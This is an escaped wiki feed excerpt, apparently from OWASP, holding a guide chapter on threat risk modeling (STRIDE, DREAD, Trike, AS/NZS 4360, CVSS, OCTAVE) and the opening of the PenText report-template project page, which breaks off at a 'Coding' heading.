&amp;lt;li&amp;gt; Asset or risk centric threat modeling.  &lt;br /&gt;
&lt;br /&gt;
Below represents a mixture of Threat Modeling tools and industry references.&lt;br /&gt;
&lt;br /&gt;
The method used to assess risk is not nearly as important as actually performing a structured threat risk modeling. Microsoft notes that the single most important factor in their security improvement program was the corporate adoption of threat risk modeling.&lt;br /&gt;
&lt;br /&gt;
One of many considerations is Microsoft’s threat modeling process. It is simple to adopt by designers, developers, code reviewers, and the quality assurance team.&lt;br /&gt;
&lt;br /&gt;
The following sections provide some overview information (or see Section 6.9, Further Reading, for additional resources).&lt;br /&gt;
&lt;br /&gt;
== Threat Risk Modeling ==&lt;br /&gt;
Threat risk modeling is an essential process for secure web application development. It allows organizations to determine the correct controls and to produce effective countermeasures within budget. For example, there is little point in spending $100,000 for fraud control for a system that has negligible fraud risk.&lt;br /&gt;
&lt;br /&gt;
== Performing threat risk modeling using the Microsoft Threat Modeling Process == &lt;br /&gt;
&lt;br /&gt;
The threat risk modeling process has five steps, enumerated below and shown graphically in Figure 1. They are:&lt;br /&gt;
# Identify Security Objectives&lt;br /&gt;
# Survey the Application&lt;br /&gt;
# Decompose it&lt;br /&gt;
# Identify Threats&lt;br /&gt;
# Identify Vulnerabilities&lt;br /&gt;
&lt;br /&gt;
[[Image:Threat_Model_Flow.gif|Figure 1: Threat Model Flow]]&lt;br /&gt;
&lt;br /&gt;
Let’s consider the steps in more detail.&lt;br /&gt;
&lt;br /&gt;
=== Identify Security Objectives ===&lt;br /&gt;
The business (or project management) leadership, in concert with the software development and quality assurance teams, all need to understand the security objectives. To facilitate this, start by breaking down the application’s security objectives into the following categories:&lt;br /&gt;
&lt;br /&gt;
* '''Identity:''' Does the application protect user identity from abuse? Are there adequate controls in place to ensure evidence of identity (as required for many banking applications?)&lt;br /&gt;
* '''Financial:''' Assess the level of risk the organization is prepared to absorb in remediation, as a potential financial loss. For example, forum software may have a lower estimated financial risk than an Internet banking application.&lt;br /&gt;
* '''Reputation:''' Quantify or estimate of the loss of reputation derived from the application being misused or successfully attacked.&lt;br /&gt;
* '''Privacy and Regulatory:''' To what extent will the application have to protect user data? Forum software by its nature is public, but a tax preparation application is subject to tax regulations and privacy legislation requirements in most countries.&lt;br /&gt;
* '''Availability Guarantees:''' Is the application required to be available per a '''''Service Level Agreement (SLA)''''' or similar guarantee? Is it a nationally protected infrastructure? To what level will the application have to be available? High availability techniques are significantly more expensive, so applying the correct controls up front will save a great deal of time, resources, and money.&lt;br /&gt;
&lt;br /&gt;
This is by no means an exhaustive list, but it gives an idea of some of the business risk decisions leading into selecting and building security controls.&lt;br /&gt;
&lt;br /&gt;
Other sources of risk guidance come from:&lt;br /&gt;
* Laws (such as privacy or finance laws)&lt;br /&gt;
* Regulations (such as banking or e-commerce regulations)&lt;br /&gt;
* Standards (such as ISO/IEC 27001)&lt;br /&gt;
* Legal Agreements (such as payment card industry standards or merchant agreements)&lt;br /&gt;
* Corporate Information Security Policy&lt;br /&gt;
&lt;br /&gt;
=== Application Overview ===&lt;br /&gt;
Once the security objectives have been defined, analyze the application design to identify the '''''components''''', '''''data flows''''', and '''''trust boundaries'''''.&lt;br /&gt;
&lt;br /&gt;
Do this by surveying the application’s architecture and design documentation. In particular, look for UML component diagrams. Such high level component diagrams are generally sufficient to understand how and why data flows to various places. For example, data movement across a trust boundary (such as from the Internet to the web tier, or from the business logic to the database server), needs to be carefully analyzed, whereas data that flows within the same trust level does not need as much scrutiny.&lt;br /&gt;
&lt;br /&gt;
=== Decompose Application ===&lt;br /&gt;
Once the application architecture is understood then decompose it further, to identify the features and modules with a security impact that need to be evaluated. For example, when investigating the authentication module, it is necessary to understand how data enters the module, how the module validates and processes the data, where the data flows, how the data is stored, and what fundamental decisions and assumptions are made by the module.&lt;br /&gt;
&lt;br /&gt;
=== Identify Threats ===&lt;br /&gt;
It is impossible to write down unknown threats, but it is likewise unlikely that new malware will be created to exploit new vulnerabilities within custom systems. Therefore, concentrate on known risks, which can be easily demonstrated using tools or techniques from Bugtraq.&lt;br /&gt;
&lt;br /&gt;
Microsoft suggests two different approaches for writing up threats. One is a threat graph, as shown in Figure 2, and the other is a structured list. &amp;lt;br&amp;gt;&lt;br /&gt;
[[Category:FIXME|Change 3rd orange box in graphic to &amp;quot;Authorization MAY fail&amp;quot;]]&lt;br /&gt;
&lt;br /&gt;
[[Image:Threat_Graph.gif|Figure 2: Threat Graph]]&lt;br /&gt;
&lt;br /&gt;
Typically, a threat graph imparts more information quickly but it takes longer to construct, while a structured list is easier to create but it will take longer for the threat impacts to become obvious.&lt;br /&gt;
&lt;br /&gt;
# Attacker may be able to read other user’s messages&lt;br /&gt;
# User may not have logged off on a shared PC&lt;br /&gt;
# Data validation may allow SQL injection&lt;br /&gt;
# Implement data validation&lt;br /&gt;
# Authorization may fail, allowing unauthorized access&lt;br /&gt;
# Implement authorization checks&lt;br /&gt;
# Browser cache may contain contents of message&lt;br /&gt;
# Implement anti-caching directive in HTTP headers&lt;br /&gt;
# If eavesdropping risk is high, use SSL&lt;br /&gt;
&lt;br /&gt;
Note that it takes a motivated attacker to exploit a threat; they generally want something from your application or to obviate controls. To understand the relevant threats, use the following categories to understand who might attack the application:&lt;br /&gt;
&lt;br /&gt;
* '''Accidental Discovery:''' An ordinary user stumbles across a functional mistake in your application, just using a web browser, and gains access to privileged information or functionality.&lt;br /&gt;
* '''Automated Malware:''' Programs or scripts, which are searching for known vulnerabilities, and then report them back to a central collection site.&lt;br /&gt;
* '''The Curious Attacker:''' a security researcher or ordinary user, who notices something wrong with the application, and decides to pursue further.&lt;br /&gt;
* '''Script Kiddies:''' Common renegades, seeking to compromise or deface applications for collateral gain, notoriety, or a political agenda, perhaps using the attack categories described in the ''OWASP Web Application Penetration Checklist.''&lt;br /&gt;
* '''The Motivated Attacker:''' Potentially, a disgruntled staff member with inside knowledge or a paid professional attacker.&lt;br /&gt;
* '''Organized Crime:''' Criminals seeking high stake payouts, such as cracking e-commerce or corporate banking applications, for financial gain.&lt;br /&gt;
&lt;br /&gt;
It is vital to understand the level of attacker you are defending against. For example, a motivated attacker, who understands your internal processes is often more dangerous than script kiddies.&lt;br /&gt;
&lt;br /&gt;
=== STRIDE ===&lt;br /&gt;
STRIDE is a classification scheme for characterizing known threats according to the kinds of exploit that are used (or motivation of the attacker). The STRIDE acronym is formed from the first letter of each of the following categories.&lt;br /&gt;
&lt;br /&gt;
'''''Spoofing Identity'''''&lt;br /&gt;
“Identity spoofing” is a key risk for applications that have many users but provide a single execution context at the application and database level. In particular, users should not be able to become any other user or assume the attributes of another user.&lt;br /&gt;
&lt;br /&gt;
'''''Tampering with Data'''''&lt;br /&gt;
Users can potentially change data delivered to them, return it, and thereby potentially manipulate client-side validation, GET and POST results, cookies, HTTP headers, and so forth. The application should not send data to the user, such as interest rates or periods, which are obtainable only from within the application itself. The application should also carefully check data received from the user and validate that it is sane and applicable before storing or using it.&lt;br /&gt;
&lt;br /&gt;
'''''Repudiation'''''&lt;br /&gt;
Users may dispute transactions if there is insufficient auditing or recordkeeping of their activity. For example, if a user says, “But I didn’t transfer any money to this external account!”, and you cannot track his/her activities through the application, then it is extremely likely that the transaction will have to be written off as a loss.&lt;br /&gt;
&lt;br /&gt;
Therefore, consider if the application requires non-repudiation controls, such as web access logs, audit trails at each tier, or the same user context from top to bottom. Preferably, the application should run with the user’s privileges, not more, but this may not be possible with many off-the-shelf application frameworks.&lt;br /&gt;
&lt;br /&gt;
'''''Information Disclosure'''''&lt;br /&gt;
Users are rightfully wary of submitting private details to a system. If it is possible for an attacker to publicly reveal user data at large, whether anonymously or as an authorized user, there will be an immediate loss of confidence and a substantial period of reputation loss. Therefore, applications must include strong controls to prevent user ID tampering and abuse, particularly if they use a single context to run the entire application. &lt;br /&gt;
&lt;br /&gt;
Also, consider if the user’s web browser may leak information. Some web browsers may ignore the no caching directives in HTTP headers or handle them incorrectly. In a corresponding fashion, every secure application has a responsibility to minimize the amount of information stored by the web browser, just in case it leaks or leaves information behind, which can be used by an attacker to learn details about the application, the user, or to potentially become that user.&lt;br /&gt;
&lt;br /&gt;
Finally, in implementing persistent values, keep in mind that the use of hidden fields is insecure by nature. Such storage should not be relied on to secure sensitive information or to provide adequate personal privacy safeguards.&lt;br /&gt;
&lt;br /&gt;
'''''Denial of Service'''''&lt;br /&gt;
Application designers should be aware that their applications may be subject to a denial of service attack. Therefore, the use of expensive resources such as large files, complex calculations, heavy-duty searches, or long queries should be reserved for authenticated and authorized users, and not available to anonymous users.&lt;br /&gt;
&lt;br /&gt;
For applications that do not have this luxury, every facet of the application should be engineered to perform as little work as possible, to use fast and few database queries, to avoid exposing large files or unique links per user, in order to prevent simple denial of service attacks.&lt;br /&gt;
&lt;br /&gt;
'''''Elevation of Privilege'''''&lt;br /&gt;
If an application provides distinct user and administrative roles, then it is vital to ensure that the user cannot elevate his/her role to a higher privilege one. In particular, simply not displaying privileged role links is insufficient. Instead, all actions should be gated through an authorization matrix, to ensure that only the permitted roles can access privileged functionality.&lt;br /&gt;
&lt;br /&gt;
=== DREAD ===&lt;br /&gt;
DREAD is a classification scheme for quantifying, comparing and prioritizing the amount of risk presented by each evaluated threat.  The DREAD acronym is formed from the first letter of each category below.&lt;br /&gt;
&lt;br /&gt;
DREAD modeling influences the thinking behind setting the risk rating, and is also used directly to sort the risks. The DREAD algorithm, shown below, is used to compute a risk value, which is an average of all five categories.&lt;br /&gt;
&lt;br /&gt;
'''Risk_DREAD''' = (&amp;lt;u&amp;gt;D&amp;lt;/u&amp;gt;AMAGE + &amp;lt;u&amp;gt;R&amp;lt;/u&amp;gt;EPRODUCIBILITY + &amp;lt;u&amp;gt;E&amp;lt;/u&amp;gt;XPLOITABILITY + &amp;lt;u&amp;gt;A&amp;lt;/u&amp;gt;FFECTED USERS + &amp;lt;u&amp;gt;D&amp;lt;/u&amp;gt;ISCOVERABILITY) / 5&lt;br /&gt;
&lt;br /&gt;
The calculation always produces a number between 0 and 10; the higher the number, the more serious the risk.&lt;br /&gt;
&lt;br /&gt;
Here are some examples of how to quantify the DREAD categories.&lt;br /&gt;
&lt;br /&gt;
'''''Damage Potential'''''&lt;br /&gt;
* If a threat exploit occurs, how much damage will be caused?&lt;br /&gt;
**0 = Nothing	&lt;br /&gt;
**5 = Individual user data is compromised or affected.	&lt;br /&gt;
**10 = Complete system or data destruction&lt;br /&gt;
&lt;br /&gt;
'''''Reproducibility'''''&lt;br /&gt;
* How easy is it to reproduce the threat exploit?&lt;br /&gt;
**0 = Very hard or impossible, even for administrators of the application.&lt;br /&gt;
**5 = One or two steps required, may need to be an authorized user.	&lt;br /&gt;
**10 = Just a web browser and the address bar is sufficient, without authentication.&lt;br /&gt;
&lt;br /&gt;
'''''Exploitability'''''&lt;br /&gt;
* What is needed to exploit this threat?&lt;br /&gt;
**0 = Advanced programming and networking knowledge, with custom or advanced attack tools.	&lt;br /&gt;
**5 = Malware exists on the Internet, or an exploit is easily performed, using available attack tools.	&lt;br /&gt;
**10 = Just a web browser&lt;br /&gt;
&lt;br /&gt;
'''''Affected Users'''''&lt;br /&gt;
* How many users will be affected?&lt;br /&gt;
**0 = None	&lt;br /&gt;
**5 = Some users, but not all	&lt;br /&gt;
**10 = All users&lt;br /&gt;
&lt;br /&gt;
'''''Discoverability'''''&lt;br /&gt;
* How easy is it to discover this threat?&lt;br /&gt;
**0 = Very hard to impossible; requires source code or administrative access.&lt;br /&gt;
**5 = Can figure it out by guessing or by monitoring network traces.	&lt;br /&gt;
**9 = Details of faults like this are already in the public domain and can be easily discovered using a search engine.&lt;br /&gt;
**10 = The information is visible in the web browser address bar or in a form.&lt;br /&gt;
&lt;br /&gt;
'''Note:''' When performing a security review of an existing application, “Discoverability” will often be set to 10 by convention, as it is assumed the threat issues will be discovered.&lt;br /&gt;
&lt;br /&gt;
'''Note:''' Using DREAD can be difficult at first. It may be helpful to think of Damage Potential and Affected Users in terms of Impact, while thinking of Reproducibility, Exploitability, and Discoverability in terms of Probability. Using the Impact vs Probability approach (which follows best practices such as defined in NIST-800-30), I would alter the formula to make the Impact score equal to the Probability score. Otherwise the probability scores have more weight in the total.&lt;br /&gt;
&lt;br /&gt;
== Alternative Threat Modeling Systems ==&lt;br /&gt;
OWASP recognizes that the adoption of the Microsoft modeling process may not fit all organizations. If STRIDE and DREAD are unacceptable for some reason, we recommend that your organization “dry run” the other threat risk models discussed against an existing application or design. This will allow you to determine which approach works best for you, and to adopt the most appropriate threat modeling tools for your organization.&lt;br /&gt;
&lt;br /&gt;
'''In summary, performing threat modeling provides a far greater return than most any other control in this Guide. Therefore, make threat risk modeling an early priority in your application design process.'''&lt;br /&gt;
&lt;br /&gt;
=== Trike ===&lt;br /&gt;
Trike is a threat modeling framework with similarities to the Microsoft threat modeling processes. However, Trike differs because it uses a risk based approach with distinct implementation, threat, and risk models, instead of using the STRIDE/DREAD aggregated threat model (attacks, threats, and weaknesses).&lt;br /&gt;
From the Trike paper, Trike’s goals are:&lt;br /&gt;
* With assistance from the system stakeholders, to ensure that the risk this system entails to each asset is acceptable to all stakeholders.&lt;br /&gt;
* Be able to tell whether we have done this.&lt;br /&gt;
* Communicate what we’ve done and its effects to the stakeholders.&lt;br /&gt;
* Empower stakeholders to understand and reduce the risks to them and other stakeholders implied by their actions within their domains. &lt;br /&gt;
&lt;br /&gt;
For more information on Trike, please see Section 6.9, reference 8.&lt;br /&gt;
&lt;br /&gt;
=== AS/NZS 4360:2004 Risk Management ===&lt;br /&gt;
The Australian/New Zealand Standard AS/NZS 4360, first issued in 1999, and revised in 2004, is the world’s first formal standard for documenting and managing risk and is still one of the few formal standards for managing it.&lt;br /&gt;
The standard’s approach is simple (it’s only 28 pages long), flexible, and iterative. Furthermore, it does not lock organizations into a particular risk management methodology, provided the methodology fulfils the AS/NZS 4360 five steps. It also provides several sets of risk tables as examples, and allows organizations to freely develop and adopt their own.&lt;br /&gt;
&lt;br /&gt;
'''The five steps of the AS/NZS 4360 process are:'''&lt;br /&gt;
* '''Establish Context:''' Establish the risk domain, i.e., which assets/systems are important?&lt;br /&gt;
* '''Identify the Risks:''' Within the risk domain, what specific risks are apparent?&lt;br /&gt;
* '''Analyze the Risks:''' Look at the risks and determine if there are any supporting controls in place.&lt;br /&gt;
* '''Evaluate the Risks:''' Determine the residual risk.&lt;br /&gt;
* '''Treat the Risks:''' Describe the method to treat the risks so that risks selected by the business will be mitigated.&lt;br /&gt;
AS/NZS 4360 assumes that risk will be managed by an '''''operational risk group''''', and that the organization has adequate skills and risk management resources in house to identify, analyze, and treat the risks.&lt;br /&gt;
&lt;br /&gt;
'''The advantages of AS/NZS 4360:'''&lt;br /&gt;
* AS/NZS 4360 works well as a risk management methodology for organizations requiring Sarbanes-Oxley compliance.&lt;br /&gt;
* AS/NZS 4360 works well for organizations that prefer to manage risks in a traditional way, such as just using likelihood and consequence to determine an overall risk. &lt;br /&gt;
* AS/NZS 4360 is familiar to most risk managers worldwide, and your organization may already have implemented an AS/NZS 4360 compatible approach.&lt;br /&gt;
* You are an Australian organization, and may be required to use it if you are audited on a regular basis, or to justify why you aren’t using it. Luckily, the STRIDE/DREAD model discussed earlier is AS/NZS 4360 compatible.&lt;br /&gt;
&lt;br /&gt;
'''The limitations of AS/NZS 4360:'''&lt;br /&gt;
* The AS/NZS 4360 approach works best for business or systemic risks than for technical risks.&lt;br /&gt;
* AS/NZS 4360 does not define the methodology to perform a structured threat risk modeling exercise.&lt;br /&gt;
* As AS/NZS 4360 is a generic framework for managing risk, it does not provide any structured method to enumerate web application security risks. &lt;br /&gt;
Although AS/NZS 4360 may be used to rank risks for security reviews, the lack of structured methods of enumerating threats for web applications makes it less desirable than other methodologies described earlier.&lt;br /&gt;
&lt;br /&gt;
=== CVSS ===&lt;br /&gt;
The US Department of Homeland Security (DHS) established the NIAC Vulnerability Disclosure Working Group, which incorporates input from Cisco Systems, Symantec, ISS, Qualys, Microsoft, CERT/CC, and eBay. One of the group’s outputs is the '''''Common Vulnerability Scoring System (CVSS).'''''&lt;br /&gt;
&lt;br /&gt;
'''The advantages of CVSS:'''&lt;br /&gt;
* You have just received notification from a security researcher or other source that your product has vulnerability, and you wish to ensure that it has an accurate and normalized severity rating, so as to alert your customers to the appropriate level of action required when you release the patch.&lt;br /&gt;
* You are a security researcher, and have found several threat exploits within an application. You would like to use the CVSS ranking system to produce reliable risk rankings, to ensure that the ISV will take the exploits seriously as indicated by their rating.&lt;br /&gt;
* CVSS has been recommended by the working group for use by US Government departments. However, it is unclear if it will become policy or be widely adopted at the time of this writing.&lt;br /&gt;
[[Category:FIXME|The first two are more scenarios than advantages]]&lt;br /&gt;
&lt;br /&gt;
'''The limitations of CVSS:'''&lt;br /&gt;
* CVSS does not find or reduce the attack surface area (i.e. design flaws), or help enumerate risks within any arbitrary piece of code, as it is just a scoring system, not a modeling methodology.&lt;br /&gt;
* CVSS is more complex than STRIDE/DREAD, as it aims to calculate the risk of announced vulnerabilities as applied to deployed software and environmental factors.&lt;br /&gt;
* The CVSS risk ranking is complex – a spreadsheet is required to calculate the risk components as the assumption behind CVSS is that a specific vulnerability has been identified and announced, or a worm or Trojan has been released targeting a small number of attack vectors. &lt;br /&gt;
* The overhead of calculating the CVSS risk ranking is quite high if applied to a thorough code review, which may have 250 or more threats to rank.&lt;br /&gt;
&lt;br /&gt;
=== OCTAVE ===&lt;br /&gt;
OCTAVE is a heavyweight risk methodology approach originating from Carnegie Mellon University’s Software Engineering Institute (SEI) in collaboration with CERT. OCTAVE focuses on organizational risk, not technical risk.&lt;br /&gt;
OCTAVE comes in two versions: Full OCTAVE, for large organizations, and OCTAVE-S for small organizations, both of which have specific catalogs of practices, profiles, and worksheets to document the modeling outcomes.&lt;br /&gt;
&lt;br /&gt;
'''OCTAVE is popular with many sites and is useful when:'''&lt;br /&gt;
* Implementing an organizational culture of risk management and controls becomes necessary.&lt;br /&gt;
* Documenting and measuring business risk becomes timely.&lt;br /&gt;
* Documenting and measuring the overall IT security risk, particularly as it relates to the corporate IT risk management, becomes necessary.&lt;br /&gt;
* When documenting risks surrounding complete systems becomes necessary.&lt;br /&gt;
* To accommodate a fundamental reorganization, such as when an organization does not have a working risk methodology in place, and requires a robust risk management framework to be put in place.&lt;br /&gt;
&lt;br /&gt;
'''The limitations of OCTAVE are:''' &lt;br /&gt;
* OCTAVE is incompatible with AS/NZS 4360, as it mandates Likelihood = 1 (i.e., It assumes a threat will always occur) and this is inappropriate for many organizations. OCTAVE-S makes the inclusion of this probability optional, but this is not part of the more comprehensive OCTAVE standard.&lt;br /&gt;
* Consisting of 18 volumes, OCTAVE is large and complex, with many worksheets and practices to implement.&lt;br /&gt;
* It does not provide a list of “out of the box” practices for assessing and mitigating web application security risks.&lt;br /&gt;
&lt;br /&gt;
Because of these issues, OWASP does not anticipate that OCTAVE will be used at large by application designers or developers, because it fails to take threat risk modeling into consideration, which is useful during all stages of development, by all participants, to reduce the overall risk of an application becoming vulnerable to attack.&lt;br /&gt;
&lt;br /&gt;
== ThreatModel SDK==&lt;br /&gt;
&lt;br /&gt;
The ThreatModel SDK is a minimalistic Java library that provides a basic vendor-neutral object model along with the ability to parse reports generated from common threat modeling tools.&lt;br /&gt;
Supported Threat Modeling Tools:&lt;br /&gt;
*Microsoft Threat Modeling Tool 2016&lt;br /&gt;
&lt;br /&gt;
Planned Threat Modeling Tools:&lt;br /&gt;
*Mozilla SeaSponge&lt;br /&gt;
&lt;br /&gt;
For more information visit: https://github.com/stevespringett/threatmodel-sdk&lt;br /&gt;
&lt;br /&gt;
== Conclusion ==&lt;br /&gt;
In this chapter, we have touched on the basic principles of threat risk modeling, risk management, and web application security. Applications that leverage the underlying intent of these principles will be more secure than their counterparts, which will only be minimally compliant just by including specific controls.&lt;br /&gt;
&lt;br /&gt;
== Further Reading ==&lt;br /&gt;
* [http://www.microsoft.com/downloads/details.aspx?FamilyId=59888078-9DAF-4E96-B7D1-944703479451 Threat Analysis &amp;amp;amp; Modeling v2.1.2], © Microsoft Corporation, 2007.  [[category:FIXME |link not working, please replace]]&lt;br /&gt;
* [http://msdn.microsoft.com/library/ms978516.aspx Threat Modeling Web Applications], J.D. Meier, Alex Mackman, Blaine Wastell, © Microsoft Corporation, May 2005.&lt;br /&gt;
* [http://msdn.microsoft.com/library/ms994921.aspx Improving Web Application Security: Threats and Countermeasures], J.D. Meier, Alex Mackman, Michael Dunner, Srinath Vasireddy, Ray Escamilla and Anandha Murukan, © Microsoft Corporation, June 2003.&lt;br /&gt;
* [http://www.microsoft.com/downloads/details.aspx?FamilyID=62830f95-0e61-4f87-88a6-e7c663444ac1&amp;amp;displaylang=en Threat Modeling], Frank Swiderski and Window Snyder, Microsoft Press, June 2004, ISBN 0-7356-1991-3.&lt;br /&gt;
* Writing Secure Code, 2nd Edition, Howard and LeBlanc, (pp. 69 – 124), Microsoft Press, 2003, ISBN 0-7356-1722-8.&lt;br /&gt;
* [http://msdn.microsoft.com/library/ms954176.aspx The STRIDE Threat Model], © Microsoft Corporation, 2005.&lt;br /&gt;
* [http://blogs.msdn.com/david_leblanc/archive/2007/08/13/dreadful.aspx DREADful] - the DREAD system, © Microsoft Corporation, 2005.&lt;br /&gt;
* [http://dymaxion.org/trike/Trike_v1_Methodology_Document-draft.pdf A Conceptual Model for Threat Modeling Applications], Saitta, Larcom, and Michael Eddington, July 2005, http://dymaxion.org/trike/.&lt;br /&gt;
* [http://www.standards.co.nz/web-shop/?action=viewSearchProduct&amp;amp;mod=catalog&amp;amp;pid=4360:2004(AS|NZS) AS/NZS 4360:2004 Risk Management], Standards Australia and Standards New Zealand.&lt;br /&gt;
* [http://www.dhs.gov/interweb/assetlibrary/NIAC_CyberVulnerabilitiesPaper_Feb05.pdf CVSS], U.S. Department of Homeland Security library, February 2005.    [[category:FIXME |link not working, please replace]]&lt;br /&gt;
* [http://www.cert.org/octave/ OCTAVE], CERT library.&lt;br /&gt;
&lt;br /&gt;
== Appendix: Alternative open-source Risk Management tools ==&lt;br /&gt;
* [http://sourceforge.net/projects/osmr/ OSMR]&lt;br /&gt;
* [http://sourceforge.net/projects/marco/ MARCO]&lt;br /&gt;
* [http://sourceforge.net/projects/coras/ CORAS Risk Assessment Platform]&lt;br /&gt;
* [http://sourceforge.net/projects/ratiso17799/ ISO 17799 Risk Assessment Toolkit]&lt;br /&gt;
* [http://sourceforge.net/projects/easy-tra/ Easy Threat Risk Assessment]&lt;br /&gt;
* [http://sourceforge.net/projects/arms-17799/ ARMS]&lt;br /&gt;
* [http://sourceforge.net/projects/minaccia/ Minaccia]&lt;br /&gt;
* [http://sourceforge.net/projects/threatmind/ ThreatMind]&lt;br /&gt;
* [http://sourceforge.net/projects/osrmt/ Open Source Requirements Management Tool]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Reference ==&lt;br /&gt;
[[Guide Table of Contents|Development Guide Table of Contents]]&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP_Guide_Project]]&lt;br /&gt;
[[Category:Activity]]&lt;br /&gt;
[[Category:Externally Linked Page]]&lt;br /&gt;
[[Category:Threat_Modeling]]&lt;br /&gt;
[[Category:SAMM-TA-1]]&lt;/div&gt;</summary>
		<author><name>Peter Mosmans</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_PenText_Project&amp;diff=221348</id>
		<title>OWASP PenText Project</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_PenText_Project&amp;diff=221348"/>
				<updated>2016-09-16T09:55:20Z</updated>
		
		<summary type="html">&lt;p&gt;Peter Mosmans: fixed links&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Main=&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:OWASP_Project_Header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
==Introduction==&lt;br /&gt;
The OWASP PenText XML documentation project is a collection of XML templates, XML schemas and XSLT code, which combined provide an easy way to generate IT security documents including test reports (for penetration tests, load tests, code audits, etc), offers (to companies requesting these tests) and invoices.&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
The OWASP PenText XML documentation project can help your software security company produce offers, reports, invoices and generic documents by offering a well-structured and easy to maintain documenting system you can modify to your liking. The XML content is multilingual (current languages: English and Dutch) and can be easily adapted - by editing the constants provided in each document - or expanded - by creating new files. Both reports and offers are comprised of smaller snippets, i.e. template texts containing, respectively, offerte text or common vulnerabilities, which can be included where relevant. The XSLT can be customized by anyone versed in XSLT. To get started it is neccessary to install a few Open Source tools. Please visit our [https://github.com/radicallyopensecurity/pentext/blob/master/xml/doc/Tools%20manual.md documentation page] on how to set up the environment.&lt;br /&gt;
&lt;br /&gt;
==Technical information==&lt;br /&gt;
The OWASP PenText project is based on XML. A PenText Report, Offer, Invoice or Generic Document is in fact a (modular) XML document, conforming to an XML Schema. The XML Schema ensures that the documents are structured correctly, so that they can then be transformed into other formats using XSLT and the [http://saxon.sourceforge.net/#F9.7HE SAXON XSLT processor]. &lt;br /&gt;
Currently there is only one target format: PDF. To produce the PDF document, the report, offer, invoice or generic document XML is first transformed into XSL-FO (XSL Formatting Objects), which is then converted to PDF using [https://xmlgraphics.apache.org/fop/ Apache FOP].&lt;br /&gt;
&lt;br /&gt;
==Licensing==&lt;br /&gt;
All files distributed with this project are free software: all documents are released under the GNU General Public License v3 (http://www.gnu.org/licenses/gpl.html) which allows you to modify and redistribute the files freely.&lt;br /&gt;
&lt;br /&gt;
== Project Resources ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/radicallyopensecurity/pentext sources]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/radicallyopensecurity/pentext/tree/master/xml/doc]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/radicallyopensecurity/pentext/issues Issue Tracker]&lt;br /&gt;
&lt;br /&gt;
== Project Leader ==&lt;br /&gt;
This project is managed by Radically Open Security members Deborah, Patricia and Peter Mosmans. They can be reached at [mailto:info@pentext.org info@pentext.org].&lt;br /&gt;
&lt;br /&gt;
==Classifications==&lt;br /&gt;
&lt;br /&gt;
   {| width=&amp;quot;400&amp;quot; cellpadding=&amp;quot;2&amp;quot;&lt;br /&gt;
   |-&lt;br /&gt;
   | rowspan=&amp;quot;2&amp;quot;  | [[File:Project_Type_Files_TOOL.jpg|link=https://www.owasp.org/index.php/Category:OWASP_Tool]]&lt;br /&gt;
   | rowspan=&amp;quot;2&amp;quot;  | [[File:Owasp-incubator-trans-85.png|link=https://www.owasp.org/index.php/OWASP_Project_Stages#tab=Incubator_Projects|Incubator Project]]&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; | [[File:Owasp-builders-small.png|link=Builders]]  &lt;br /&gt;
   |-&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; | [[File:Owasp-defenders-small.png|link=Defenders]]&lt;br /&gt;
   |}&lt;br /&gt;
&lt;br /&gt;
== News and Events ==&lt;br /&gt;
* [17 July 2016] Updated the wiki with basic info.&lt;br /&gt;
* [21 July 2016] Expanded the wiki&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=FAQs=&lt;br /&gt;
&lt;br /&gt;
==How can I participate in your project?==&lt;br /&gt;
All you have to do is make the Project Leader's aware of your available time to contribute to the project. It is also important to let the Leader's know how you would like to contribute and pitch in to help the project meet it's goals and milestones. There are many different ways you can contribute to an OWASP Project, but communication with the leads is key. &lt;br /&gt;
&lt;br /&gt;
==If I am not a programmer can I participate in your project?==&lt;br /&gt;
Yes, you can certainly participate in the project if you are not a programmer or technical. The project needs different skills and expertise and different times during its development. Currently, we are looking for writers and translators.   See the Road Map and Getting Involved tab for more details.&lt;br /&gt;
&lt;br /&gt;
= Acknowledgements =&lt;br /&gt;
==Contributors==&lt;br /&gt;
&lt;br /&gt;
The Pentext XML Documentation Project is developed by a worldwide team working at [https://www.radicallyopensecurity.com Radically Open Security]. A live update of project [https://github.com/radicallyopensecurity/pentext/graphs/contributors contributors is found here]. &lt;br /&gt;
&lt;br /&gt;
The first contributors to the project were:&lt;br /&gt;
&lt;br /&gt;
* XSLT coding and documentation by Patricia Piolon&lt;br /&gt;
* ChatOps scripts by Peter Mosmans and John&lt;br /&gt;
* XML content by Peter Mosmans, Christine, Deborah, Marcus Bointon and others.&lt;br /&gt;
&lt;br /&gt;
= Road Map and Getting Involved =&lt;br /&gt;
&lt;br /&gt;
==Roadmap==&lt;br /&gt;
As of '''June, 2016, the highest priorities for the next 6 months are''':&lt;br /&gt;
&lt;br /&gt;
* Create additional content for Forensics, code audits and such&lt;br /&gt;
* Get other people to review the PenText XML documentation project and provide feedback&lt;br /&gt;
* Get others to provide translations for the snippet library &lt;br /&gt;
&lt;br /&gt;
Subsequent Releases would preferably contain&lt;br /&gt;
&lt;br /&gt;
* Templates in a wider variety of languages&lt;br /&gt;
&lt;br /&gt;
==Getting Involved==&lt;br /&gt;
Involvement in the development and promotion of the &amp;lt;strong&amp;gt;PenText XML documentation project&amp;lt;/strong&amp;gt; is actively encouraged!&lt;br /&gt;
You do not have to be a security expert or a programmer to contribute.&lt;br /&gt;
Some of the ways you can help are as follows:&lt;br /&gt;
&lt;br /&gt;
===Coding===&lt;br /&gt;
